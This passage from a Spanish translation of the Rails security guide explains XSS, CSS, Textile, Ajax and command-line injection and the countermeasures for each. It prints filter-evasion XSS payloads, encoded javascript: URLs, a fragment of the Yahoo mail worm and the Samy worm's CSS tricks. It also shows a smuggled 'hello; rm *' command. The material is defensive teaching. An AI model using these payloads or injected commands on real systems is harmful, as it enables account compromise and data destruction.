<h5 id="inyección-de-html-javascript-contramedidas"><a class="anchorlink" href="#inyección-de-html-javascript-contramedidas"><span>6.3.2.3</span> Contramedidas</a></h5><p><em>Es muy importante filtrar la entrada maliciosa, pero también es importante escapar la salida de la aplicación web</em>.</p><p>Especialmente para XSS, es importante hacer <em>filtrado de entrada permitida en lugar de restringida</em>. El filtrado de listas permitidas establece los valores permitidos en oposición a los valores no permitidos. Las listas restringidas nunca están completas.</p><p>Imagina que una lista restringida elimina <code>"script"</code> de la entrada del usuario. Ahora el atacante inyecta <code>"<scrscriptipt>"</code>, y después del filtro, <code>"<script>"</code> permanece. Las versiones anteriores de Rails usaban un enfoque de lista restringida para los métodos <code>strip_tags()</code>, <code>strip_links()</code> y <code>sanitize()</code>. Así que este tipo de inyección era posible:</p><div class="interstitial code">
<pre><code class="highlight ruby"><span class="n">strip_tags</span><span class="p">(</span><span class="s2">"some<<b>script>alert('hello')<</b>/script>"</span><span class="p">)</span>
</code></pre>
<button class="clipboard-button" data-clipboard-text="strip_tags("some<<b>script>alert('hello')<</b>/script>")
">Copy</button>
</div>
<p>Esto devolvía <code>"some<script>alert('hello')</script>"</code>, lo que hace que un ataque funcione. Es por eso que un enfoque de lista permitida es mejor, usando el método actualizado de Rails 2 <code>sanitize()</code>:</p><div class="interstitial code">
<pre><code class="highlight ruby"><span class="n">tags</span> <span class="o">=</span> <span class="sx">%w(a acronym b strong i em li ul ol h1 h2 h3 h4 h5 h6 blockquote br cite sub sup ins p)</span>
<span class="n">s</span> <span class="o">=</span> <span class="n">sanitize</span><span class="p">(</span><span class="n">user_input</span><span class="p">,</span> <span class="ss">tags: </span><span class="n">tags</span><span class="p">,</span> <span class="ss">attributes: </span><span class="sx">%w(href title)</span><span class="p">)</span>
</code></pre>
<button class="clipboard-button" data-clipboard-text="tags = %w(a acronym b strong i em li ul ol h1 h2 h3 h4 h5 h6 blockquote br cite sub sup ins p)
s = sanitize(user_input, tags: tags, attributes: %w(href title))
">Copy</button>
</div>
<p>Esto solo permite las etiquetas dadas y hace un buen trabajo, incluso contra todo tipo de trucos y etiquetas malformadas.</p><p>Tanto Action View como Action Text construyen sus <a href="https://edgeapi.rubyonrails.org/classes/ActionView/Helpers/SanitizeHelper.html">auxiliares de sanitización</a> sobre la gema <a href="https://github.com/rails/rails-html-sanitizer">rails-html-sanitizer</a>.</p><p>Como segundo paso, <em>es una buena práctica escapar toda la salida de la aplicación</em>, especialmente al volver a mostrar la entrada del usuario, que no ha sido filtrada de entrada (como en el ejemplo del formulario de búsqueda anterior). _Usa el método <code>html_escape()</code> (o su alias <code>h()</code>) para reemplazar los caracteres de entrada HTML <code>&</code>, <code>"</code>, <code><</code> y <code>></code> por sus representaciones no interpretadas en HTML (<code>&amp;</code>, <code>&quot;</code>, <code>&lt;</code> y <code>&gt;</code>).</p><h5 id="obfuscación-y-codificación-de-inyección"><a class="anchorlink" href="#obfuscación-y-codificación-de-inyección"><span>6.3.2.4</span> Obfuscación y Codificación de Inyección</a></h5><p>El tráfico de red se basa principalmente en el alfabeto limitado occidental, por lo que surgieron nuevas codificaciones de caracteres, como Unicode, para transmitir caracteres en otros idiomas. Pero, esto también es una amenaza para las aplicaciones web, ya que el código malicioso puede ocultarse en diferentes codificaciones que el navegador web podría ser capaz de procesar, pero la aplicación web podría no. Aquí hay un vector de ataque en codificación UTF-8:</p><div class="interstitial code">
<pre><code class="highlight html"><span class="nt"><img</span> <span class="na">src=</span><span class="s">&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;</span>
<span class="err">&</span><span class="na">#108</span><span class="err">;&</span><span class="na">#101</span><span class="err">;&</span><span class="na">#114</span><span class="err">;&</span><span class="na">#116</span><span class="err">;&</span><span class="na">#40</span><span class="err">;&</span><span class="na">#39</span><span class="err">;&</span><span class="na">#88</span><span class="err">;&</span><span class="na">#83</span><span class="err">;&</span><span class="na">#83</span><span class="err">;&</span><span class="na">#39</span><span class="err">;&</span><span class="na">#41</span><span class="err">;</span><span class="nt">></span>
</code></pre>
<button class="clipboard-button" data-clipboard-text="<img src=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;
&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>
">Copy</button>
</div>
<p>Este ejemplo muestra una caja de mensaje. Será reconocido por el filtro <code>sanitize()</code> anterior, sin embargo. Una gran herramienta para ofuscar y codificar cadenas, y así "conocer a tu enemigo", es el <a href="https://hackvertor.co.uk/public">Hackvertor</a>. El método <code>sanitize()</code> de Rails hace un buen trabajo para defenderse de ataques de codificación.</p><h4 id="ejemplos-del-submundo"><a class="anchorlink" href="#ejemplos-del-submundo"><span>6.3.3</span> Ejemplos del Submundo</a></h4><p><em>Para entender los ataques de hoy en aplicaciones web, es mejor echar un vistazo a algunos vectores de ataque del mundo real.</em></p><p>Lo siguiente es un extracto del <a href="https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=12d8d106-1137-4d7c-8bb4-3ea1faec83fa">gusano Js.Yamanner@m de Yahoo! Mail</a>. Apareció el 11 de junio de 2006 y fue el primer gusano de interfaz de correo web:</p><div class="interstitial code">
<pre><code class="highlight html"><span class="nt"><img</span> <span class="na">src=</span><span class="s">'http://us.i1.yimg.com/us.yimg.com/i/us/nt/ma/ma_mail_1.gif'</span>
<span class="na">target=</span><span class="s">""</span><span class="na">onload=</span><span class="s">"var http_request = false; var Email = '';
var IDList = ''; var CRumb = ''; function makeRequest(url, Func, Method,Param) { ...
</span></code></pre>
<button class="clipboard-button" data-clipboard-text="<img src='http://us.i1.yimg.com/us.yimg.com/i/us/nt/ma/ma_mail_1.gif'
target=""onload="var http_request = false; var Email = '';
var IDList = ''; var CRumb = ''; function makeRequest(url, Func, Method,Param) { ...
">Copy</button>
</div>
<p>Los gusanos explotan un agujero en el filtro HTML/JavaScript de Yahoo, que generalmente filtra todos los objetivos y atributos onload de las etiquetas (porque puede haber JavaScript). Sin embargo, el filtro se aplica solo una vez, por lo que el atributo onload con el código del gusano permanece en su lugar. Este es un buen ejemplo de por qué los filtros de listas restringidas nunca están completos y por qué es difícil permitir HTML/JavaScript en una aplicación web.</p><p>Otro gusano de correo web de prueba de concepto es Nduja, un gusano de dominio cruzado para cuatro servicios de correo web italianos. Encuentra más detalles en el <a href="http://www.xssed.com/news/37/Nduja_Connection_A_cross_webmail_worm_XWW/">documento de Rosario Valotta</a>. Ambos gusanos de correo web tienen el objetivo de recolectar direcciones de correo electrónico, algo con lo que un hacker criminal podría ganar dinero.</p><p>En diciembre de 2006, se robaron 34,000 nombres de usuario y contraseñas reales en un <a href="https://news.netcraft.com/archives/2006/10/27/myspace_accounts_compromised_by_phishers.html">ataque de phishing de MySpace</a>. La idea del ataque era crear una página de perfil llamada "login_home_index_html", por lo que la URL se veía muy convincente. Se usó HTML y CSS especialmente diseñados para ocultar el contenido genuino de MySpace de la página y en su lugar mostrar su propio formulario de inicio de sesión.</p><h3 id="inyección-css"><a class="anchorlink" href="#inyección-css"><span>6.4</span> Inyección CSS</a></h3><div class="interstitial info"><p><em>La inyección CSS en realidad es inyección JavaScript, porque algunos navegadores (IE, algunas versiones de Safari y otros) permiten JavaScript en CSS. Piensa dos veces antes de permitir CSS personalizado en tu aplicación web.</em></p></div><p>La inyección CSS se explica mejor con el conocido <a href="https://samy.pl/myspace/tech.html">gusano Samy de MySpace</a>. Este gusano enviaba automáticamente una solicitud de amistad a Samy (el atacante) simplemente visitando su perfil. En pocas horas, tenía más de 1 millón de solicitudes de amistad, lo que creó tanto tráfico que MySpace se cayó. Lo siguiente es una explicación técnica de ese gusano.</p><p>MySpace bloqueaba muchas etiquetas, pero permitía CSS. Así que el autor del gusano puso JavaScript en CSS así:</p><div class="interstitial code">
<pre><code class="highlight html"><span class="nt"><div</span> <span class="na">style=</span><span class="s">"background:url('javascript:alert(1)')"</span><span class="nt">></span>
</code></pre>
<button class="clipboard-button" data-clipboard-text="<div style="background:url('javascript:alert(1)')">
">Copy</button>
</div>
<p>Así que la carga útil está en el atributo de estilo. Pero no se permiten comillas en la carga útil, porque las comillas simples y dobles ya se han usado. Pero JavaScript tiene una función práctica <code>eval()</code> que ejecuta cualquier cadena como código.</p><div class="interstitial code">
<pre><code class="highlight html"><span class="nt"><div</span> <span class="na">id=</span><span class="s">"mycode"</span> <span class="na">expr=</span><span class="s">"alert('hah!')"</span> <span class="na">style=</span><span class="s">"background:url('javascript:eval(document.all.mycode.expr)')"</span><span class="nt">></span>
</code></pre>
<button class="clipboard-button" data-clipboard-text="<div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycode.expr)')">
">Copy</button>
</div>
<p>La función <code>eval()</code> es una pesadilla para los filtros de entrada de listas restringidas, ya que permite que el atributo de estilo oculte la palabra "innerHTML":</p><div class="interstitial code">
<pre><code class="highlight js"><span class="nf">alert</span><span class="p">(</span><span class="nf">eval</span><span class="p">(</span><span class="dl">'</span><span class="s1">document.body.inne</span><span class="dl">'</span> <span class="o">+</span> <span class="dl">'</span><span class="s1">rHTML</span><span class="dl">'</span><span class="p">));</span>
</code></pre>
<button class="clipboard-button" data-clipboard-text="alert(eval('document.body.inne' + 'rHTML'));
">Copy</button>
</div>
<p>El siguiente problema fue que MySpace filtraba la palabra <code>"javascript"</code>, por lo que el autor usó <code>"java<NEWLINE>script"</code> para evitar esto:</p><div class="interstitial code">
<pre><code class="highlight html"><span class="nt"><div</span> <span class="na">id=</span><span class="s">"mycode"</span> <span class="na">expr=</span><span class="s">"alert('hah!')"</span> <span class="na">style=</span><span class="s">"background:url('java↵script:eval(document.all.mycode.expr)')"</span><span class="nt">></span>
</code></pre>
<button class="clipboard-button" data-clipboard-text="<div id="mycode" expr="alert('hah!')" style="background:url('java↵script:eval(document.all.mycode.expr)')">
">Copy</button>
</div>
<p>Otro problema para el autor del gusano fueron los <a href="#cross-site-request-forgery-csrf">tokens de seguridad CSRF</a>. Sin ellos, no podía enviar una solicitud de amistad a través de POST. Lo evitó enviando un GET a la página justo antes de agregar un usuario y analizando el resultado para el token CSRF.</p><p>Al final, obtuvo un gusano de 4 KB, que inyectó en su página de perfil.</p><p>La propiedad CSS <a href="https://securiteam.com/securitynews/5LP051FHPE">moz-binding</a> resultó ser otra forma de introducir JavaScript en CSS en navegadores basados en Gecko (Firefox, por ejemplo).</p><h4 id="inyección-css-contramedidas"><a class="anchorlink" href="#inyección-css-contramedidas"><span>6.4.1</span> Contramedidas</a></h4><p>Este ejemplo, nuevamente, mostró que un filtro de lista restringida nunca está completo. Sin embargo, como el CSS personalizado en aplicaciones web es una característica bastante rara, puede ser difícil encontrar un buen filtro CSS permitido. <em>Si deseas permitir colores o imágenes personalizados, puedes permitir que el usuario los elija y construir el CSS en la aplicación web</em>. Usa el método <code>sanitize()</code> de Rails como modelo para un filtro CSS permitido, si realmente necesitas uno.</p><h3 id="inyección-textile"><a class="anchorlink" href="#inyección-textile"><span>6.5</span> Inyección Textile</a></h3><p>Si deseas proporcionar formato de texto diferente al HTML (debido a la seguridad), usa un lenguaje de marcado que se convierta a HTML en el lado del servidor. <a href="https://github.com/jgarber/redcloth">RedCloth</a> es un lenguaje de este tipo para Ruby, pero sin precauciones, también es vulnerable a XSS.</p><p>Por ejemplo, RedCloth traduce <code>_test_</code> a <code><em>test<em></code>, lo que hace que el
texto sea en cursiva. Sin embargo, RedCloth no filtra etiquetas HTML inseguras por defecto:</p><div class="interstitial code">
<pre><code class="highlight ruby"><span class="no">RedCloth</span><span class="p">.</span><span class="nf">new</span><span class="p">(</span><span class="s1">'<script>alert(1)</script>'</span><span class="p">).</span><span class="nf">to_html</span>
<span class="c1"># => "<script>alert(1)</script>"</span>
</code></pre>
<button class="clipboard-button" data-clipboard-text="RedCloth.new('<script>alert(1)</script>').to_html
# => "<script>alert(1)</script>"
">Copy</button>
</div>
<p>Usa la opción <code>:filter_html</code> para eliminar HTML que no fue creado por el procesador Textile.</p><div class="interstitial code">
<pre><code class="highlight ruby"><span class="no">RedCloth</span><span class="p">.</span><span class="nf">new</span><span class="p">(</span><span class="s1">'<script>alert(1)</script>'</span><span class="p">,</span> <span class="p">[</span><span class="ss">:filter_html</span><span class="p">]).</span><span class="nf">to_html</span>
<span class="c1"># => "alert(1)"</span>
</code></pre>
<button class="clipboard-button" data-clipboard-text="RedCloth.new('<script>alert(1)</script>', [:filter_html]).to_html
# => "alert(1)"
">Copy</button>
</div>
<p>Sin embargo, esto no filtra todo el HTML, algunas etiquetas quedarán (por diseño), por ejemplo <code><a></code>:</p><div class="interstitial code">
<pre><code class="highlight ruby"><span class="no">RedCloth</span><span class="p">.</span><span class="nf">new</span><span class="p">(</span><span class="s2">"<a href='javascript:alert(1)'>hello</a>"</span><span class="p">,</span> <span class="p">[</span><span class="ss">:filter_html</span><span class="p">]).</span><span class="nf">to_html</span>
<span class="c1"># => "<p><a href="javascript:alert(1)">hello</a></p>"</span>
</code></pre>
<button class="clipboard-button" data-clipboard-text="RedCloth.new("<a href='javascript:alert(1)'>hello</a>", [:filter_html]).to_html
# => "<p><a href="javascript:alert(1)">hello</a></p>"
">Copy</button>
</div>
<h4 id="inyección-textile-contramedidas"><a class="anchorlink" href="#inyección-textile-contramedidas"><span>6.5.1</span> Contramedidas</a></h4><p>Se recomienda <em>usar RedCloth en combinación con un filtro de entrada permitido</em>, como se describe en las contramedidas contra XSS.</p><h3 id="inyección-ajax"><a class="anchorlink" href="#inyección-ajax"><span>6.6</span> Inyección Ajax</a></h3><p>NOTA: <em>Se deben tomar las mismas precauciones de seguridad para las acciones Ajax que para las "normales". Sin embargo, hay al menos una excepción: La salida debe escaparse en el controlador ya, si la acción no renderiza una vista.</em></p><p>Si usas el <a href="https://rubygems.org/gems/in_place_editing">plugin in_place_editor</a>, o acciones que devuelven una cadena, en lugar de renderizar una vista, <em>debes escapar el valor de retorno en la acción</em>. De lo contrario, si el valor de retorno contiene una cadena XSS, el código malicioso se ejecutará al regresar al navegador. Escapa cualquier valor de entrada usando el método <code>h()</code>.</p><h3 id="inyección-de-línea-de-comando"><a class="anchorlink" href="#inyección-de-línea-de-comando"><span>6.7</span> Inyección de Línea de Comando</a></h3><p>NOTA: <em>Usa parámetros de línea de comando proporcionados por el usuario con precaución.</em></p><p>Si tu aplicación tiene que ejecutar comandos en el sistema operativo subyacente, hay varios métodos en Ruby: <code>system(command)</code>, <code>exec(command)</code>, <code>spawn(command)</code> y <code>`command`</code>. Tendrás que tener especial cuidado con estas funciones si el usuario puede ingresar todo el comando o una parte de él. Esto se debe a que en la mayoría de los shells, puedes ejecutar otro comando al final del primero, concatenándolos con un punto y coma (<code>;</code>) o una barra vertical (<code>|</code>).</p><div class="interstitial code">
<pre><code class="highlight ruby"><span class="n">user_input</span> <span class="o">=</span> <span class="s2">"hello; rm *"</span>
<span class="nb">system</span><span class="p">(</span><span class="s2">"/bin/echo </span><span class="si">#{</span><span class="n">user_input</span><span class="si">}</span><span class="s2">"</span><span class="p">)</span>
<span class="c1"># imprime "hello", y elimina archivos en el directorio actual</span>
</code></pre>
<button class="clipboard-button" data-clipboard-text="user_input = "hello; rm *"
system("/bin/echo #{user_input}")
# imprime "hello", y elimina archivos en el directorio actual
">Copy</button>
</div>
<p>Una contramedida es <em>usar el método <code>system(command, parameters)</code> que pasa los parámetros de línea de comando de manera segura</em>.</p><div class="interstitial code">
<pre><code class="highlight ruby"><span class="nb">system</span><span class="p">(</span><span class="s2">"/bin/echo"</span><span class="p">,</span> <span class="s2">"hello; rm *"</span><span class="p">)</span>
<span class="c1"># imprime "hello; rm *" y no elimina archivos</span>
</code></pre>
<button class="clipboard-button" data-clipboard-text="system("/bin/echo", "hello; rm *")
# imprime "hello; rm *" y no elimina archivos
">Copy</button>
</div>
<h4 id="vulnerabilidad-de-kernel-open"><a class="anchorlink" href="#vulnerabilidad-de-kernel-open"><span>6.7.1</span> Vulnerabilidad de Kernel#open</a></h4><p><code>Kernel#open</code> ejecuta un comando del sistema operativo si el argumento comienza con una barra vertical (<code>|</code>).</p><div class="interstitial code">
<pre><code class="highlight ruby"><span class="nb">open</span><span class="p">(</span><span class="s1">'| ls'</span><span class="p">)</span> <span class="p">{</span> <span class="o">|</span><span class="n">file</span><span class="o">|</span> <span class="n">file</span><span class="p">.</span><span class="nf">read</span> <span class="p">}</span>
<span class="c1"># devuelve la lista de archivos como una cadena a través del comando `ls`</span>
</code></pre>
<button class="clipboard-button" data-clipboard-text="open('| ls') { |file| file.read }
# devuelve la lista de archivos como una cadena a través del comando `ls`
">Copy</button>
</div>
<p>Las contramedidas son usar <code>File.open</code>, <code>IO.open</code> o <code>URI#open</code> en su lugar. No ejecutan un comando del sistema operativo.</p><div class="interstitial code">
<pre><code class="highlight ruby"><span class="no">File</span><span class="p">.</span><span class="nf">open</span><span class="p">(</span><span class="s1">'| ls'</span><span class="p">)</span> <span class="p">{</span> <span class="o">|</span><span class="n">file</span><span class="o">|</span> <span class="n">file</span><span class="p">.</span><span class="nf">read</span> <span class="p">}</span>
<span class="c1"># no ejecuta el comando `ls`, solo abre el archivo `| ls` si existe</span>
<span class="no">IO</span><span class="p">.</span><span class="nf">open</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span> <span class="p">{</span> <span class="o">|</span><span class="n">file</span><span class="o">|</span> <span class="n">file</span><span class="p">.</span><span class="nf">read</span> <span class="p">}</span>
<span class="c1"># abre stdin. no acepta una cadena como argumento</span>
<span class="nb">require</span> <span class="s1">'open-uri'</span>
<span class="no">URI</span><span class="p">(</span><span class="s1">'https://example.com'</span><span class="p">).</span><span class="nf">open</span> <span class="p">{</span> <span class="o">|</span><span class="n">file</span><span class="o">|</span> <span class="n">file</span><span class="p">.</span><span class="nf">read</span> <span class="p">}</span>
<span class="c1"># abre el URI. `URI()` no acepta `| ls`</span>
</code></pre>
<button class="clipboard-button" data-clipboard-text="File.open('| ls') { |file| file.read }
# no ejecuta el comando `ls`, solo abre el archivo `| ls` si existe
IO.open(0) { |file| file.read }
# abre stdin. no acepta una cadena como argumento
require 'open-uri'
URI('https://example.com').open { |file| file.read }
# abre el URI. `URI()` no acepta `| ls`
">Copy</button>
</div>
<h3 id="inyección-de-encabezado"><a class="anchorlink" href="#inyección-de-encabezado"><span>6.8</span> Inyección de Encabezado</a></h3><p>ADVERTENCIA: <em>Los encabezados HTTP se generan dinámicamente y bajo ciertas circunstancias, la entrada del usuario puede ser inyectada. Esto puede llevar a redirecciones falsas, XSS o división de respuestas HTTP.</em></p><p>Los encabezados de solicitud HTTP tienen un campo Referer, User-Agent (software cliente) y Cookie, entre otros. Los encabezados de respuesta, por ejemplo, tienen un código de estado, Cookie y un</p>
<hr>
<h3>Comentarios</h3>
<p>
Se te anima a ayudar a mejorar la calidad de esta guía.
</p>
<p>
Por favor contribuye si ves algún error tipográfico o errores fácticos.
Para comenzar, puedes leer nuestra sección de <a href="https://edgeguides.rubyonrails.org/contributing_to_ruby_on_rails.html#contributing-to-the-rails-documentation">contribuciones a la documentación</a>.
</p>
<p>
También puedes encontrar contenido incompleto o cosas que no están actualizadas.
Por favor agrega cualquier documentación faltante para main. Asegúrate de revisar
<a href="https://edgeguides.rubyonrails.org">Guías Edge</a> primero para verificar
si los problemas ya están resueltos o no en la rama principal.
Revisa las <a href="ruby_on_rails_guides_guidelines.html">Guías de Ruby on Rails</a>
para estilo y convenciones.
</p>
<p>
Si por alguna razón detectas algo que corregir pero no puedes hacerlo tú mismo, por favor
<a href="https://github.com/rails/rails/issues">abre un issue</a>.
</p>
<p>Y por último, pero no menos importante, cualquier tipo de discusión sobre la
documentación de Ruby on Rails es muy bienvenida en el <a href="https://discuss.rubyonrails.org/c/rubyonrails-docs">Foro oficial de Ruby on Rails</a>.
</p>
</div>
</div>
</main>
<hr class="hide" />
<footer id="page_footer">
<div class="wrapper">
<p>Este trabajo está bajo una <a href="https://creativecommons.org/licenses/by-sa/4.0/">Licencia Creative Commons Atribución-CompartirIgual 4.0 Internacional</a></p>
<p>"Rails", "Ruby on Rails" y el logotipo de Rails son marcas registradas de David Heinemeier Hansson. Todos los derechos reservados.</p>
<p> Esta traducción fue generada por openAi e <a href="http://latinadeveloper.com/">Isis Harris.</a></p>
</div>
</footer>
</body>
</html>